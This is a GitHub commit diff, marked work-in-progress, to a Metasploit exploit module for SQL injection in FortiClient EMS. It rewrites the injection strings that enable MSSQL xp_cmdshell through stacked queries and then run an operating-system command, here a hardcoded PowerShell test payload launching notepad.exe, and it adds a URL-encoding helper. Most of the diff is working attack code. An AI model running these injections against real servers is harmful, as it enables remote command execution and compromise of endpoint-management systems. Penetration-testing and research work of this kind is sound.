Skip to content

Commit e6f2352

Browse files
committed
WIP
1 parent 6ad5ba3 commit e6f2352

File tree

1 file changed

+23
-5
lines changed

1 file changed

+23
-5
lines changed

modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -168,6 +168,11 @@ def check
168168
CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted")
169169
end
170170

171+
def fully_url_encode(string)
172+
string.chars.map { |char| '%' + char.ord.to_s(16).upcase }.join
173+
end
174+
175+
171176
def exploit
172177
# Things to note:
173178
# 1. xp_cmdshell is disabled by default so first we must enable it.
@@ -176,13 +181,26 @@ def exploit
176181
# before running the command with xp_command shell.
177182
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
178183
# is when we expect the response to be empty.
184+
# inject = [
185+
# "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
186+
# "' OR 1=1; reconfigure;--",
187+
# "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
188+
# "' OR 1=1; reconfigure;--",
189+
# "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
190+
# ]
191+
command = "notepad.exe"
192+
print_status("Encoding command #{command}")
193+
print_status("URL Encoded version of the command: #{fully_url_encode(command)}")
194+
payload = <<~PLOAD
195+
powershell.exe -command ""notepad.exe""
196+
PLOAD
197+
198+
payload = payload.chomp
199+
print_status("Payload is: #{payload}")
179200
inject = [
180-
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
181-
"' OR 1=1; reconfigure;--",
182-
"' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
183-
"' OR 1=1; reconfigure;--",
184-
"' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
201+
"'; exec master.dbo.sp_configure 'show advanced options', 1; reconfigure; exec master.dbo.sp_configure 'xp_cmdshell',1; reconfigure; exec master.dbo.xp_cmdshell '#{payload}';--",
185202
]
203+
186204
inject.each do |sqli|
187205
if sqli == inject.last
188206
send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.')

0 commit comments

Comments
 (0)